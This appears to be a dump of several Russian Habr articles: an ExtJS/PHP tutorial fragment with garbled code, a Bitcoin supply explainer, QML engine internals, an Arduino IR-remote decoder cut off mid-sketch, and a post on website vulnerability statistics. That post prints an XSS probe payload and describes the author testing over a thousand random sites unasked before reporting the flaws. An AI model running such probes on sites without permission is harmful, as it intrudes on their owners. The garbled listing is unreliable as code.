**И в третьих:** Пользуйтесь docs и examples из библиотеки ExtJS.
Теперь собственно к примеру. Напишем маленькую программу для занесения в БД документов накладных. Накладная будет состоять из номера, даты, поля продавец (выборка из БД), поля покупатель (выборка из БД), таблицы товаров накладной и таблицы существующих у нас товаров (из БД). Кнопкой «Cохранить» накладная будет отправляется в БД.
Этого примера хватит для того, чтобы понять основу взаимодействия ExtJS и PHP. И так приступим, наша **форма будет выглядеть так:**
Для начала создадим следующую структуру каталогов и файлов:
**ext** — библиотека ExtJS
**index.php** — без комментариев :)
**app.js** — сама программа
Также у нас будут ещё файлы:
**config.php** — подключение к БД
**get\_org.php** — получение списка организаций из БД в JSON формате
**get\_tovar.php** — получение списка товаров из БД в JSON формате
**save.php** — cохранение формы в БД
**Код index.php:**
> `1. <html>
> 2. <head>
> 3. <title>ExtJS и PHPtitle>
> 4. <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
> 5.
> 6. <link rel="stylesheet" type="text/css" href="lib/ext/resources/css/ext-all.css"/>
> 7.
> 8. <script type="text/javascript" src="lib/ext/adapter/ext/ext-base.js">script>
> 9. "text/javascript"</font> src=<font color="#A31515">"lib/ext/ext-all.js"</font>>
> 10. "text/javascript"</font> src=<font color="#A31515">"app.js"</font>>
> 11. "text/css"</font>></li>
> <li>.movie\_form {</li>
> <li> padding: 10px;</li>
> <li>}</li>
> <li>.movie-item {</li>
> <li> font:normal 12px tahoma, arial, helvetica, sans-serif;</li>
> <li> line-height:150%;</li>
> <li> padding:5px 20px 5px 10px;</li>
> <li> border:1px solid #fff;</li>
> <li> border-bottom:1px solid #eeeeee;</li>
> <li> white-space:normal;</li>
> <li> color:#555;</li>
> <li>}</li>
> <li>.movie-item h2 {</li>
> <li> display:block;</li>
> <li> font:inherit;</li>
> <li> font-weight:bold;</li>
> <li> color:#336699;</li>
> <li>}</li>
> <li>.movie-item h2 span {</li>
> <li> <font color="#0000ff">float</font>: right;</li>
> <li> font-weight:normal;</li>
> <li> color:#555;</li>
> <li> margin:0 0 5px 5px;</li>
> <li> width:100px;</li>
> <li> display:block;</li>
> <li> clear:none;</li>
> <li>}</li>
> <li>
> 12.` | https://habr.com/ru/post/91155/ | null | ru | null |
# Количество Биткоинов не будет 21.000.000
Откуда появляются новые Биткоины
--------------------------------
Биткоин имеет ограниченное предложение и еще не все монеты находятся в [циркуляции](https://telegra.ph/Cirkuliruyushchee-predlozhenie-09-05). Единственный способ создать новые монеты, это ***майнинг*** — механизм добавления данных в блокчейн.
[Протокол Биткоина](https://github.com/bitcoin/bitcoin) фиксирует максимальное предложение монеты в количестве **21.000.000 BTC**. Об этом говорит код, приведенный ниже. Переменная `MAX_MONEY` является константой, которая равна **21.000.000**, умноженному на `COIN`. `COIN` равен количеству **Сатоши** в 1 Биткоине, т.е. **1 BTC = 100.000.000 Сатоши**. Сатоши является **самой** **маленькой единицей Биткоина**, т.е. оперировать суммами меньшими **0,00000001 BTC** (1 Сатоши) **нельзя**.
```
/** The amount of satoshis in one BTC. */
static constexpr CAmount COIN = 100000000;
static constexpr CAmount MAX_MONEY = 21000000 * COIN;
```
По состоянию на сентябрь 2022 года было добыто около 91% от всех Биткоинов (примерно 19.142.006), но для добычи оставшихся Биткоинов потребуется **более 100 лет**. Это связано с периодическим событием под названием **халвинг** (подробнее в следующей главе), задача которого состоит в том, чтобы постепенно **уменьшать вознаграждение за майнинг** криптовалюты.
Майнинг позволяет участникам сети добавлять блоки в блокчейн. Для этого они должны направить вычислительную мощность своего компьютера для решения определенной криптографической задачи. В качестве стимула есть **вознаграждение**, доступное тому, кто найдет соответствующее решение и **сформирует** **действительный** (валидный) **блок**.
Чтобы **сформировать блок** необходимо **большое количество ресурсов**, в то время как проверить действительность этого блока очень легко. Если кто-то попытается обмануть сеть и добавить недействительный блок, такой запрос будет немедленно отклонен, и майнер не получит вознаграждение за проделанный майнинг.
***Вознаграждение*** состоит из двух компонентов: **комиссий** с транзакций в блоке и **вознаграждения за блок**. Вознаграждение за блок является **единственным** **источником** новых биткоинов. С каждым добытым блоком увеличивается [общее предложение монет](https://telegra.ph/Cirkuliruyushchee-predlozhenie-09-05). Для примера возьмем блок, имеющий высоту **752.730**. Майнер, который добыл этот блок, получает **6,25 BTC** в качестве вознаграждения за блок. Эти **6,25 BTC** были добыты и **увеличили общее предложение монет**, но оставшийся **0,10285206 BTC** — сумма комиссий всех транзакций в этом блоке (они не влияют на общее предложение монет).
Размер вознаграждения за блок и суммарной комиссии блока Биткоин с высотой 752730Новые сгенерированные монеты создаются специальным типом транзакции — **coinbase**. Как правило, транзакция coinbase является **первой транзакцией**, которая добавляется в блок, и она в основном генерирует монеты из ничего.
```
coinbaseTx.vout[0].nValue = nFees + GetBlockSubsidy(nHeight,
chainparams.GetConsensus());
```
Именно функция `GetBlockSubsidy` определяет **вознаграждение за блок**.
Протокол Биткоина **корректирует сложность** **майнинга** так, чтобы поиск решения для нового блока занимал приблизительно **10 минут**. Блоки не всегда добываются ровно за десять минут, но данная установка является своеобразным ориентиром для всех участников сети. Переменная `nPowTargetTimespan` отражает время (в секундах) корректировки сложности создания блока (по умолчанию две недели), чтобы контролировать общую скорость создания блока. Переменная `nPowTargetSpacing` содержит среднее время (в секундах) генерации блока (по умолчанию 10 минут).
```
consensus.nPowTargetTimespan = 14 * 24 * 60 * 60; // two weeks
consensus.nPowTargetSpacing = 10 * 60;
```
Что такое халвинг Биткоина
--------------------------
**Первый блок** Биткоина был сгенерирован 3 января 2009 года в 18:15:05 (время по Гринвичу). Такой блок называется генезис-блоком (Genesis Block). Время создания можно узнать по первому аргументу функции `CreateGenesisBlock`. `1231006505` — это unix-время (unix-время — количество секунд, прошедших с полуночи 1 января 1970 года). При конвертации этого числа получается исходная дата.
```
genesis = CreateGenesisBlock(1231006505, 2083236893, 0x1d00ffff, 1, 50 * COIN);
```
Изначально вознаграждение за блок было **50 BTC**. Вознаграждение уменьшается вдвое через каждые **210.000** созданных блоков. Переменная `nSubsidyHalvingInterval` отвечает за **количество блоков**, которое должно создаться **перед уменьшением вознаграждения** за майнинг, т.е. после создания **210.000** блоков вознаграждение за блок уменьшается вдвое (примерно раз в 4 года).
```
consensus.nSubsidyHalvingInterval = 210000;
```
Если более формально, то **халвинг** — это процесс уменьшения скорости создания новых единиц криптовалюты. Т.е. это относится к периодическому уменьшению награды майнеров за добытый блок.
Как видно на графике вознаграждение за блок с каждым халвингом становится меньше до тех пор, пока и вовсе не станет равным нулю (к 2140 году).
Вознаграждение за блок в Сатоши в зависимости от высоты блокаХалвинг является неотъемлемой частью экономической модели криптовалют, поскольку он отвечает за стабильный **темп создания новых монет** и его дальнейшее регулирование. Такой контролируемый уровень денежной инфляции является одним из основных различий между криптовалютами и традиционными фиатными валютами, которые, по сути, имеют **бесконечное циркулирующее предложение**.
Вознаграждение за блок
----------------------
Рассмотрим более подробной функцию `GetBlockSubsidy`.
```
CAmount GetBlockSubsidy(int nHeight, const Consensus::Params& consensusParams)
{
int halvings = nHeight / consensusParams.nSubsidyHalvingInterval;
// Force block reward to zero when right shift is undefined.
if (halvings >= 64)
return 0;
CAmount nSubsidy = 50 * COIN;
// Subsidy is cut in half every 210,000 blocks which will occur approximately every 4 years.
nSubsidy >>= halvings;
return nSubsidy;
}
```
Первый аргумент функции `nHeight` – высота блока, второй аргумент **параметры консенсуса**, которые являются **неизменными**. Значение высоты блока делится целочисленно на 210.000(потому что `nSubsidyHalvingInterval = 210000)`. Если значение переменной `halvings >= 64`, то вознаграждения за блок не будет. Но в каком случае `halvings` будет равен `64`? Для этого высота блока должна быть не меньше **13.440.000**, но это произойдет примерно только к 2264 году, а вознаграждение за блок будет равно нулю уже к 2140 году, значит, есть другое условие, из-за которого это произойдет.
Если посмотреть на код, приведенный выше, более детально, то мы можем заметить, что значение переменной `nSubsidy` имеет тип `CAmount`. А тип `CAmount` это псевдоним для типа `int64_t` (целочисленный тип данных фиксированного размера, в данном случае 64 бит или 8 байт).
```
typedef int64_t CAmount;
```
В переменной `nSubsidy` хранится значение , т.е. **5.000.000.000 Сатоши**.
Деление `nSubsidy` происходит за счет **побитового оператора сдвига вправо** (`>>=`). Сдвиг происходит на столько бит право, сколько указано в переменной `halvings`. Один сдвиг вправо эквивалентен делению числа на два нацело, два сдвига на четыре, три на восемь и так далее. Более подробная работа оператора видна на картинке снизу.
Пример побитового сдвига вправо для числа 157Изначальное число в размере **5.000.000.000 Сатоши** можно очень долго делить на два до тех пор, пока оно не станет равным нулю. И именно на этот момент опираются эксперты при определении даты, когда будет добыт последний Биткоин.
Суммарное количество Сатоши, которое будет добыто на указанной высоте до следующего халвингаК  блоку **вознаграждение за блок** будет **равно 0** и, соответственно, на этом создание новых Биткоинов закончится. Это должно произойти к 33 халвингу, который состоится примерно к 2140 году (в 2016 была достигнута высота блока 420.000, через 4 года 630.000, т.е. для достижения  блока, начиная с блока, должны быть добыты  блоков. За это время произойдет халвингов, между которыми 4 года. Значит к  блоку пройдет  года. Прибавим это к 2016 и получим  год). Отсюда и получается эта примерная дата.
Формула количества Биткоинов
----------------------------
На основе приведенной информации удалось вывести формулу, которая позволила рассчитать суммарное количество Биткоинов в Сатоши, которое будет добыто на высоте .
У этой функции есть предел в размере , что меньше, чем . Это значит, что Биткоинов никогда не будет .
Вывод формулыМежду каждым халвингом создается одинаковое количество блоков (210.000). Все эти 210.000 блоков содержат одинаковое количество вознаграждения за блок , но с каждым халвингом оно уменьшается вдвое. Это можно учесть за счет деления на . Так как мы работаем с целыми числами, то нужно отбросить все, что возникает после запятой из-за деления с помощью функции . Индекс суммы принимает начальное значение . Чтобы узнать количество халвингов, которые произошли до переданной высоты , нужно разделить  на 210.000. Так как нас интересует только целый результат, то отбрасываем снова все лишнее с помощью . Отнимаем 1, чтобы не посчитать лишнее. Так как каждое слагаемое суммы умножается на 210.000, то 210.000 можно вынести за знак суммы.
Чтобы учесть Биткоины, полученные до очередного халвинга, нужно получить актуальное значение вознаграждения за блок за счет множителя
Для получения количества блоков, созданных после крайнего халвинга, необходимо воспользоваться функцией .
Умножение этих двух множителей и дает оставшееся количество Биткоинов, а все в сумме искомый ответ.
Аналогичные результаты можно получить и в Excel.
Результаты вычисления количества Биткоинов в Сатоши, которые будут добыты к указанной высотеВывод
-----
Теперь вы знаете, что Биткоинов никогда не будет 21.000.000и почему последняя его доля будет получена приблизительно к 2140 году.
### Дополнительно
Ссылка на [github](https://github.com/bitcoin/bitcoin) с исходным кодом Биткоина. | https://habr.com/ru/post/689792/ | null | ru | null |
# Типичные уязвимости на сайтах, со статистикой
##### Этот топик будет посвящен:
* статистике встречаемости уязвимостей
* реакции администрации(скорости и адекватности)
* опасности
и всяческим другим факторам. Будут приведены примеры.
#### Что послужило толчком
Пост можно начать так: «дело было вечером, делать было нечего». Или: «Навеяли былые успехи(прошлый топик вышел в плюс)».
Одним словом, делать мне летом решительно нечего. А поэтому, пока потихоньку пилится мой прошлый проект(хабрасканер), я подумал быстренько набросать следующий пост. Кратенькое содержание уже есть выше. Разберем его(пост в смысле).
**Очень важно:** все данные, приведенные в топике, достаточно примерны. Я проверил больше 1000 сайтов, около 200 оказались уязвимыми.
###### Процесс поиска
Кстати кому интересно, сайты были найдены совершенно случайным образом и проверены буквально в ручную.
Поиском для меня занимался гугл. Я написал небольшой питон-скрипт, который вводил поисковый запрос(изначально взят был список запросов) и нажимал «Мне повезет!», а затем копировал эти данные в текстовичек, который я потом использовал для пентестинга.
Кстати говоря, запросов было 1322, а значит и сайтов столько же. Отсюда можно посчитать, что уязвимых из них около 15%.
###### Общая статистика
###### Уязвимый модуль
###### Вид уязвимости
Я должен пояснить, что HTMLBUG = изменение вида html с помощью какой-то формы, но без XSS(все-таки теги фильтруются).
#### Примеры
Я, опять же, просто обязан сказать здесь, что действительных примеров не будет. Это может быть попросту опасно, для исследованного сайта.
А вот почему.
Здесь в «Не решено» входит и «Не ответили».
Кроме того, в большей части проектов ко мне обращались грубо, пренебрежительно и даже угрожали…
Это выглядет как-то так.
Слова в гистограмме исковерканы намеренно, чтобы хоть как-то смягчить мои подсчеты.
Остальные либо не ответили, либо отделались сухим «Спасибо.»
Отдельно хочется выделить работников интернет-магазина kronya.ru, мало того, что мне ответили в течение 15 минут(в пятницу-то), так еще и решены ВСЕ мои претензии были в течение часа.
Кроме того, выделяю пользователя [art\_karetnikov](http://habrahabr.ru/users/art_karetnikov/), его сайт был проверен мной случано, и, к моему сожелению, и к всеобщей радости, вовсе не содержал проверяемых мной ошибок.
##### А теперь наконец-то к примерам.
Приведу пару-тройку примеров. Я думаю большая часть пользователей хабра умеет искать и использовать XSS, поэтому об этом кратко.
`http://******************d=%22%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E`
js, выводящий алерт. **">**
(Окно уже закрыто) То есть здесь и XSS и странности с дизом. (ну странности с html наблюдаются всегда там, где получилось пробиться через input, поэтому я больше не буду их связывать между собой).
На одном из сайтов встретилась форма, после которой ее содержимое присутствовало на сайте аж 5(!) раз. И выглядело как-то так.
Неимоверное количество не фильтрованных запросов нашел я на просторах интернета.
Больше всего мне понравился этот. Кстати расположен на крупном сайте одного московского магазина.
Всего-то ковычка в одном правильном поле. На этом сайте мне так и не ответили…
###### Решения проблем
По большей части, все эти уязвимости встречены на сайтах с фреймворками(найдены документации в корневых папках) или с CMS(найдены признаки использования©). Поэтому путь решения прост как валенок. Переключить тумблер фильтрации в положение ON. Или дописать где-то 2 слова…
#### К чему все это?
Я надеюсь данный топик сможет:
* Заставить пользователей быть внимательнее к ссылкам.
* Админов быть внимательнее к своим творениям.
* Менеджеров быть добрее к тем, с кем они общаются.
* Программистов быть адекватнее и понимать, когда им пытаются помочь, а не обгадить(да простит меня хабрасообщество за это слово).
P.S. В заключение, хочется сказать:
«Дорогие хабровчане, мне, бесспорно, нравится проверять сайты на уязвимости и узнавать что-то новое для себя.»
Если кому-то интересно, я мог бы проверить ваши сайты, а затем дополнить список с указанием конкретных примеров(конкретики не хватает, я думаю), естественно с вашего разрешения и, конечно же, после исправления.
P.S.S. Я надеюсь моя статья будет полезным чтением для кого-то. Кому-то послужит уроком, или руководством к действию(я надеюсь админам, а не хакерам). И вообще, я надеюсь статья будет достойна habra.
UPD.
Привет анонимным минусовальщикам! (попросил бы комментировать)
UPD2.
Скрины реальных примеров, скрины переписки с админами(естественно подзатертые), и кругляши вместо гистограмм сделаю попозже. (нужно все это подготовить) | https://habr.com/ru/post/192122/ | null | ru | null |
# Внутренности движка QML. Часть 1: Загрузка файлов
В [этой](http://www.kdab.com/category/blogs/qmlengineseries/) ([2 часть в переводе](http://habrahabr.ru/post/150133/)) серии статей мы заглянем под капот движка QML и раскроем некоторые из особенностей его внутренней работы.Статьи основаны на Qt5 версия QtQuick, QtQuick 2.0.
Большинство людей знают, что каждый элемент в QML файле опирается на конкретный C++ класс. Когда QML файл загружен, движок QML как-то создает один C++ объект для всех элементов в файле. В этом посте мы рассмотрим, как движок QML переходит от чтения текстового файла, включающего полное дерево C++ объектов. В документации Qt присутствует [раздел](http://doc-snapshot.qt-project.org/5.0/qtqml-main.html#qt-qml-module-documentation) с обширным описанием взаимодействия QML и C++, прочтение которого стоит потраченного времени. В данной серии статей, я предполагаю что пользователь прочёл и понимает описанное в документации.
#### Пример
В этой статье мы будем использовать пример, который не делает ничего особенного, но включает в себя некоторые интересные части QML:
```
import QtQuick 2.0
Rectangle {
id: root
width: 360
height: width + 50
color: "lightsteelblue"
property alias myWidth: root.width
property int counter: 1
function reactToClick() {
root.counter++
}
Text {
id: text
text: qsTr("Hello World: " + counter)
anchors.centerIn: parent
}
MouseArea {
id: mouseArea
anchors.fill: parent
onClicked: {
reactToClick()
}
}
}
```
Этот файл состоит из трёх элементов: Rectangle, Text и MouseArea. Они соответствуют С++ классам [QQuickRectangle](http://qt.gitorious.org/qt/qtdeclarative/blobs/master/src/quick/items/qquickrectangle_p.h#line136), [QQuickText](http://qt.gitorious.org/qt/qtdeclarative/blobs/master/src/quick/items/qquicktext_p.h#line55) и [QQuickMouseArea](http://qt.gitorious.org/qt/qtdeclarative/blobs/master/src/quick/items/qquickmousearea_p.h#line129). Кроме того, эти классы лишь экспортируются в QML, являются приватными и недоступны пользователям Qt напрямую из C++. Элементы рисуются на экране через OpenGL при помощи [QML Scenegraph](http://labs.qt.nokia.com/2010/05/18/a-qt-scenegraph/) (Дерево сцены QML). Порядок отрисовки и обработки событий определяет [QQuickView](http://qt.gitorious.org/qt/qtdeclarative/blobs/master/src/quick/items/qquickview.h#line59). QML-файл один в один соответствует генерируемому дереву объектов C++, которое можно проверить при помощи разработанного командой Qt KDAB инструмента, под названием [Gammaray](http://www.kdab.com/kdab-products/gammaray/).
Как и ожидалось, классы QQuickMouseArea и QQuickText отображаться в дереве объектов. Но что такое QQuickRectangle\_QML\_0? Такого C++ класса просто не существует в исходниках Qt! Мы вернёмся к этому в более поздних постах, пока же будем просто считать, что был использован объект QQuickRectangle.
Пойдем дальше и запустим приложение в [QML Profiler](http://labs.qt.nokia.com/2012/02/07/qml-profiler-update/):
Как мы видим, львиная доля времени уходит на фазу создания (Creating). И совсем немножко — на стадию отрисовки (Painting), итог работы которой мы и видит на экране. Но что такое фаза компиляции (Compiling)? Подразумевается создание машинного или байт-кода? Давайте взглянем на алгоритм загрузки файла чуть глубже.
#### Этапы загрузки QML-файла
Загрузку QML файла можно разделить на 3 независимых этапа, которые мы рассмотрим в следующих разделах:
* Parsing (Разбор)
* Compiling (Компиляция)
* Creating (Создание)
##### Разбор
Прежде всего, QML файл анализируется, при помощи QQmlScript :: Parser. Большинство внутренних правил парсера генерируются автоматически из файла грамматики. Абстрактное синтаксическое дерево (AST) из нашего примера будет выглядеть так:
[](https://habrastorage.org/getpro/habr/post_images/59b/9f2/a07/59b9f2a07509353bd020ea66f33bde32.png)
(Картинка была сгенерирована при помощи graphviz и этого [патча](http://www.kdab.com/~thomas/stuff/ast-graph.diff))
Изначально AST работает на достаточно низком уровне и на следующем шаге своей работы, на более высоком уровне он превращается в структуры [объектов (Objects)](http://qt.gitorious.org/qt/qtdeclarative/blobs/master/src/qml/qml/qqmlscript_p.h#line299), [свойств (Properties)](http://qt.gitorious.org/qt/qtdeclarative/blobs/master/src/qml/qml/qqmlscript_p.h#line230) и [значений (Values)](http://qt.gitorious.org/qt/qtdeclarative/blobs/master/src/qml/qml/qqmlscript_p.h#line183). Этим занимается [AST::Visitor](http://qt.gitorious.org/qt/qtdeclarative/blobs/master/src/qml/qml/qqmlscript.cpp#line443). На этом уровне, объекты (Objects) соответствуют QML элементам, а пары свойство/значение (Property/Value), такие как «color» и «lightsteelblue» соответствуют свойствам и значениям данных QML-элементов. Даже обработчики сигналов, вроде onClicked на данном этапе всего лишь пары свойство/значение, в данном случае значение — это тело Javascript функции.
##### Компиляция
В теории, имея структуру объектов, свойств и значений, мы уже можем создать ассоциированные с данными QML-элементами C++-объекты и присвоить им соответствующие значения. Тем не менее, объекты, свойства и значения все еще довольно сырые, и требуют некоторой пост-обработки, прежде чем смогут быть созданы C++ объекты. Пост-обработка осуществляется объектом [QQmlCompiler](http://qt.gitorious.org/qt/qtdeclarative/blobs/master/src/qml/qml/qqmlcompiler_p.h#line283), который объясняет что подразумевается под стадией «Компиляция» в нашем профайлере. Компилятор создает объект QQmlCompiledData для заданного QML файла.
Работа с [QQmlCompiledData](http://qt.gitorious.org/qt/qtdeclarative/blobs/master/src/qml/qml/qqmlcompiler_p.h#line79) и создание C++ объектов из него происходит гораздо быстрее, чем работа напрямую с объектами, свойствами и значениями. Как было сказано выше, дерево объектов строится для каждого отдельного QML-файла. При многократном использовании QML-файла, к примеру Button.qml, который повсеместно используется в других QML-файлах, для него лишь единожды будет составлен объект QQmlCompiledData, который будет сохранён в памяти и использован для создания C++ объекта каждый раз при встрече с включением файла Button.qml во время разбора приложения. После этого наступает этап создания, который мы видели в окошке профайлера.
Подведем итог: Разбор каждого QML файла и его компиляция выполняется только один раз, после чего объект QQmlCompiledData используется для быстрого создания C++ объектов.
##### Создание
Я не буду вдаваться в подробности о QQmlCompiledData, но одна вещь могла бы привлечь ваше внимание: переменная-член «QByteArray bytecode». Инструкции по созданию С++ объектов и правильное присвоение значений его свойствам составлена в виде байт-кода, который затем интерпретируется интерпретатором байт-кода (*от переводчика: интерпретатор интерпретировал-интерпретировал, да не… =)* ). Байт-код содержит набор инструкций, и остальное содержимое в QQmlCompiledData используется только в качестве вспомогательных данных при выполнении инструкции.
На этапе создания, байт-код интерпретируется классом [QQmlVME](http://qt.gitorious.org/qt/qtdeclarative/blobs/master/src/qml/qml/qqmlvme_p.h). Функция QQmlVME::run(), интерпретатора последовательно выполняет инструкции байткода, основываясь на большом switch-операторе. При запуске приложения с флагом QML\_COMPILER\_DUMP = 1, мы можем видеть отдельные инструкции байт-кода:
```
Index Operation Data1 Data2 Data3 Comments
-------------------------------------------------------------------------------
0 INIT 4 3 0 0
1 INIT_V8_BINDING 0 17
2 CREATECPP 0
3 STORE_META
4 SETID 0 "root"
5 BEGIN 16
6 STORE_INTEGER 45 1
7 STORE_COLOR 41 "ffb0c4de"
8 STORE_COMPILED_BINDING 10 2 0
9 STORE_DOUBLE 9 360
10 FETCH_QLIST 2
11 CREATE_SIMPLE 32
12 SETID 1 "text"
13 BEGIN 16
14 STORE_V8_BINDING 43 0 0
15 FETCH 19
16 STORE_COMPILED_BINDING 17 1 1
17 POP
18 STORE_OBJECT_QLIST
19 CREATE_SIMPLE 32
20 SETID 2 "mouseArea"
21 BEGIN 16
22 STORE_SIGNAL 42 2
23 FETCH 19
24 STORE_COMPILED_BINDING 16 0 1
25 POP
26 STORE_OBJECT_QLIST
27 POP_QLIST
28 SET_DEFAULT
29 DONE
-------------------------------------------------------------------------------
```
* CREATE\_SIMPLE является наиболее важной инструкцией, он создает C++ объект, используя базу данных о зарегистрированных объектах: [QQmlMetaType](http://qt.gitorious.org/qt/qtdeclarative/blobs/master/src/qml/qml/qqmlmetatype_p.h).
* STORE\_INTEGER — инструкция присваивания целочисленного значения свойству.
* STORE\_SIGNAL используется для создания связанного обработчика сигнала.
* STORE\_ \* \_BINDING используется для создания привязки свойств. Подробнее о привязках мы поговорим в следующем посте этой серии.
* SETID, очевидно, задает идентификатор объекта, который не является обычным свойством.
VME имеет стек объектов, все инструкции типа STORE\_\* работают с объектом находящемся на верхнем уровне. FETCH помещает конкретный QObject на вершину стека, POP удаляет верхний объект. Все инструкции широко используют числовые индексы, например, инструкция STORE\_COLOR записывает в свойство 41, которое является индексом мета-свойства object.dinary, целевого объекта QObject.
Подводя итог: После того, как QML файл будет скомпилирован, создание экземпляра его C++ объекта — это всего лишь вопрос выполнения байт-кода сгенерированного по переданным скомпилированным данным.
#### Заключение
В конце данной заметки мы познакомились с тем, как разбираются, обрабатываются и компилируются QML-файлы. А затем как с помощью VME создаются связанные с ними объекты. Я надеюсь, что вы вынесли для себя что-то интересное о движке QML.
Оставайтесь с нами до следующего поста, в котором мы рассмотрим, как работают привязки (Bindings) в QML.
*От переводчика: Продолжать мне в том же духе или остановиться? Судя по скромному количеству комментариев к [предыдущим](http://habrahabr.ru/post/149979/) [переводам](http://habrahabr.ru/post/149909/), тема не очень то интересна аудитории Хабра.
PS: И да, я знаю что переводчик из меня так себе, но я стараюсь как могу =) Ошибки и замечания — прошу в личку.* | https://habr.com/ru/post/150064/ | null | ru | null |
# Анализ протоколов работы пультов ДУ
При создании HTPC одним из вопросов является способ управления оболочкой. Думаю, не стоит рассказывать о том, что традиционные устройства ввода — клавиатура и мышь не подходят для данной задачи. Гораздо удобнее управлять HTPC так же как и другой бытовой электроникой — с помощью ПДУ. Чаще всего используются ПДУ от DVD-плееров и аналогичной техники совместно с LIRC / WinLIRC, или Windows MCE-совместимые пульты с USB-приемниками, коих полно в китайских интернет-магазинах. Такие ПДУ эмулируют usb-hid клавиатуру (и иногда мышь). У этих пультов есть существенный недостаток — если материнская плата и BIOS не поддерживают включение питания и пробуждение от usb-устройств, то с помощью такого пульта можно будет управлять устройством, выключать его, но включить не выйдет. С этим недостатком я и решил бороться.
Для своего HTPC я выбрал материнскую плату Intel D2700MUD. Как позже выяснилось — опрометчиво, поскольку встроенный видеоконтроллер GMA 3650, основанный на PowerVR, полностью поддерживается только в 32-битных Windows, а в Linux поддержка очень ограничена — не работает аппаратное декодирование видео. Но меня устраивает работа HTPC под управлением Windows 7 Home Basic. Также эта плата не умеет пробуждаться по сигналу от USB-клавиатуры.
Также у меня уже был пульт (Philips 2422 549 01930), который мне показался подходящим. Но WinLIRC с ним работал крайне нестабильно. Видимо, использовался какой-то необычный протокол.
Первая мысль была такой — подключить к Arduino IR-приемник, питание взять от шины 5VSB блока питания HTPC, а включение питания (и выключение) осуществлять с помощью имитации замыкания пинов на материнской плате, к которым подключается кнопка включения питания, а остальные команды передавать через RS-232. Но Arduino слишком дорога и занимает много места в и без того небольшом корпусе. Поэтому я решил обойтись дешёвым микроконтроллером ATMega8, в который можно зашить бутлоадер Arduino и программировать его как Arduino NG.
#### Разбор протокола
Для Arduino существует неплохая библиотека для работы с инфракрасными ПДУ — IRRemote, но она не работает с Arduino NG — не хватает памяти. К тому же, мне не удалось заставить эту библиотеку понимать мой пульт даже на Arduino UNO. Как я писал выше, LIRC (и WinLIRC) не очень хорошо работали с этим пультом — часто пропускали нажатия кнопок, иногда неверно определяли нажатую клавишу. Сам пульт работал исправно — с «родным» DVD-плейером проблем не возникало. Поиски информации о протоколе для этого пульта ничего не дали, так что я решил разобраться с ним самостоятельно.
Для этого мне понадобился осциллограф, но его под руками не оказалось, да и взять было негде. Но в случае с сигналами ПДУ вполне подходит линейный вход звуковой карты. К нему я подключил инфракрасный приёмник TSOP 31236.
Далее с помощью любого аудиоредактора можно записать входной сигнал и проанализировать:
Сначала идет длинная посылка, необходимая для установки уровня автоматической регулировки усиления в приёмнике. Затем следуют импульсы различной длины. Я написав промежуточный скетч для Arduino, который определял время между фронтами импульсов в микросекундах и выводил их в терминал через RS232. Полученные данные я загрузил в Excel:
Когда я только начал изучать протокол, моей главной ошибкой было то, что я считал длительности самих импульсов, но игнорировал длительность интервалов между ними. После того, как я начал считать интервалы между фронтами все встало на свои места. Как видно, большинство ~~импульсов~~ интервалов между фронтами имеют длительности в пределах 350-550 мкс и 700-1000 мкс. Значит так обозначаются значения передаваемых битов — «0» и «1». В протоколе ПДУ используется toggle-бит. Это означает что при нескольких последовательных нажатиях одной и той же клавиши на пульте, в коде будет меняться один бит (иногда несколько). В моем случае toggle-бит имеет необычную длительность — 1200-1400 мкс. К тому же число фронтов в «четных» и «нечетных» посылках отличается. Позже я пришёл к выводу, что интервал 1200-1400 мкс это сумма их двух битов с одинаковым уровнем, но различной длительностью (400+800). В коде я такую посылку обозначил как последовательность из двух бит — «01». Тогда количество бит на выходе стало постоянным.
#### Скетч для Arduino
Затем я написал скетч, который считал время между изменениями уровня на входе и выводил полученное число в uart. С помощью несложной отладки я добился стабильности определения кодов, добавил сложение с маской для игнорирования toggle-бита (у меня не было функций, в которых он пригодился бы). Потом я жестко закодил функцию, чтобы при получении кода кнопки «Power» микроконтроллер прижимал к земле один из «цифровых» пинов Arduino (в моем случае — 12).
```
// Заранее прошу прощения за индусский код. Я знаю что можно было сделать намного правильнее и лучше,
// но для меня было важным решить задачу, а на изящность решения я не претендовал.
byte a = 0; // Текущий уровень на входе
byte b = 0; // Сохраненный уровень на входе
byte bc = 0; // Счетчик битов
const boolean dbg=false; // Режим отладки =)
boolean start=false; // Запущен ли отсчет импульсов
unsigned int usecs = 0; // Таймер 1 - определяет длительность фронтов
unsigned int usecs2 = 0; // Таймер 2 - определяет паузы между посылками
unsigned int plen = 0; // Длительность интервала между фронтами
unsigned int plen2 = 0; // Длительность паузы между посылками
String bits; // Представление буфера в виде единиц и нулей, для отладки
unsigned int buffer; // Буфер. Собственно, сюда помещается код нажатой кнопки
void setup()
{
// Initialize the digital pin as an output.
// Pin 13 has an LED connected on most Arduino boards
pinMode(13, OUTPUT); // Ок, пусть светодиод там и будет.
pinMode(12, OUTPUT); // А пин 12 будет подключаться к разъему кнопки питания на мат.плате.
digitalWrite(13,HIGH); // Включаем светодиод.
digitalWrite(12,HIGH); // Настраиваем на выходе высокий уровень, чтобы плата считала что контакт разомкнут.
pinMode(7, INPUT); // Сюда подаем сигнал от ИК-приемника TSOP.
Serial.begin(115200);
Serial.println("READY");
usecs = micros(); // Инициализируем индусский таймер
usecs2 = micros();
}
void loop()
{
a = digitalRead(7); // Считываем значение уровня на входе
if(a != b) { // Уровень изменился! Фронт импульса.
start=true; // Отсчет импульсов считаем начатым.
b = a; // Сбрасываем детектор фронта
plen = micros() - usecs; // Замеряем прошедшее время между предыдущим и текущим фронтом
usecs = micros(); // Сбрасываем таймер
usecs2 = micros();
if (plen<2000) { // фильтруем стартовый импульс и длительность между импульсами
if (plen>200 && plen < 620) { // ноль
bits += "0";
buffer = buffer << 1;
buffer = buffer | 0;
bc++;
}
if (plen>620 && plen < 1150) { // единица
bits += "1";
buffer = buffer << 1;
buffer = buffer | 1;
bc++;
}
if (plen>1150 && plen < 1600) { // тоггл-бит
bits += "01";
buffer = buffer << 2; // Тут сдвигаем на два бита!
buffer = buffer | 1;
bc++;
bc++;
}
if(dbg==true){
Serial.print(plen); // если включена отладка - выводим длительности импульсов
Serial.print(";");
}
}
} else { // Если в этом цикле изменения уровня на входе не произошло
plen2 = micros() - usecs2; // Определяем длительность паузы
if(plen2 > 5000 ) { // ЕСЛИ ПАУЗА БОЛЬШЕ 5 МИЛЛИСЕКУНД, ЭТО ЗНАЧИТ ЧТО ПОСЫЛКА ЗАКОНЧИЛАСЬ ИЛИ ЕЩЕ НЕ НАЧИНАЛАСЬ
